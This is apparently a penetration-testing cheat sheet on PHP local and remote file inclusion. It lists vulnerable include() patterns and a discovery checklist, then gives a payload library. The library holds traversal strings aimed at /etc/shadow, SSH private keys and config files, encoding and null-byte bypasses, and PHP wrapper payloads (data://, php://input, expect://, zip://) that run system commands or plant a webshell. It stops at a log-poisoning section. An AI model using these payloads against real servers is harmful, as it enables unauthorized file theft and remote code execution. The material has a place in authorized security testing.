File Inclusion (LFI / RFI)
File Inclusion (LFI / RFI) Severity: Critical | CWE: CWE-98, CWE-22 OWASP: A03:2021 β Injection What Is File Inclusion? PHP and other server-side languages allow dynamic file inclusion via include(), require(), include_once(), require_once(). When the included filename is attacker-controlled: LFI (Local File Inclusion) β read local files, potentially execute code via log poisoning or PHP wrappers RFI (Remote File Inclusion) β include remote URL as PHP code (requires allow_url_include=On) // Vulnerable code patterns: include($_GET['page'] . ".php"); // append .php include("pages/" . $_GET['template']); // prefix + user input require($_POST['module']); // full control Discovery Checklist Find parameters that load file paths: page=, file=, template=, lang=, module=, include=, path=, view= Test basic traversal: ../../../etc/passwd Test with and without extension appending (does error show extension?) Test PHP wrappers: php://filter, php://input, data://, expect:// Test null byte termination for PHP < 5.3.4: ../../../etc/passwd%00 Test path normalization: ....//....//....//etc/passwd Test log poisoning β LFI to RCE Check error messages for absolute path disclosure Test RFI if app allows external URLs Test /proc/self/environ poisoning via User-Agent Test /proc/self/fd/[n] for open file descriptor log access Test ZIP/PHAR wrappers for LFI to RCE Payload Library Payload 1 β Basic LFI Path Traversal # Linux targets: ../../../etc/passwd ../../../etc/shadow ../../../etc/hosts ../../../etc/hostname ../../../proc/version ../../../proc/self/cmdline ../../../proc/self/environ ../../../var/log/apache2/access.log ../../../var/log/apache2/error.log ../../../var/log/nginx/access.log ../../../var/log/auth.log ../../../var/log/mail.log ../../../home/USER/.bash_history ../../../home/USER/.ssh/id_rsa ../../../root/.bash_history ../../../root/.ssh/id_rsa ../../../etc/mysql/my.cnf ../../../etc/php/php.ini ../../../var/www/html/config.php # Windows targets: ..\..\..\windows\win.ini ..\..\..\windows\system32\drivers\etc\hosts ..\..\..\inetpub\wwwroot\web.config ..\..\..\xampp\apache\conf\httpd.conf C:\windows\win.ini C:\inetpub\wwwroot\web.config # URL-encoded variants: ..%2F..%2F..%2Fetc%2Fpasswd ..%252F..%252F..%252Fetc%252Fpasswd # double-encoded %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd %2e%2e/%2e%2e/%2e%2e/etc/passwd ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # overlong UTF-8 # Null byte (PHP < 5.3.4) β truncate extension append: ../../../etc/passwd%00 ../../../etc/passwd%00.jpg ../../../etc/passwd\0 # Dot truncation (Windows, long paths) β extension gets cut off: ../../../windows/win.ini..........[add many dots/spaces] # Extra dot/slash normalization bypass: ....//....//....//etc/passwd ....\/....\/....\/etc/passwd ..././..././..././etc/passwd Payload 2 β PHP Wrappers # php://filter β read file source without executing (base64): php://filter/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=../config.php php://filter/read=string.rot13/resource=index.php php://filter/convert.iconv.utf-8.utf-16/resource=index.php # Decode base64 output: echo "BASE64_OUTPUT" | base64 -d # php://filter chains (PHP 8 / newer β multiple filters): php://filter/convert.iconv.UTF-8.UTF-32|convert.base64-encode/resource=/etc/passwd # php://input β execute POST body as PHP (requires allow_url_include or include): # Send: include('php://input') # POST body: <?php system($_GET['cmd']); ?> # data:// wrapper β inline code execution: data://text/plain,<?php system('id');?> data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ # base64 of: <?php system('id');?> # expect:// β direct command execution (requires expect extension): expect://id expect://whoami expect://cat+/etc/passwd # zip:// wrapper β execute PHP in a ZIP archive: # Create: echo "<?php system($_GET['cmd']); ?>" > shell.php && zip shell.zip shell.php zip://path/to/uploaded/shell.zip%23shell.php # phar:// wrapper β PHAR deserialization (see 20_Deser_PHP.md): phar://path/to/uploaded/file.jpg # Combining wrappers: php://filter/convert.base64-decode/resource=data://text/plain,PD9waHAgcGhwaW5mbygpOz8+ Payload 3 β Log Poisoning β LFI to RCE Poison a log file with PHP code via a user-controlled field, then include the log file. ...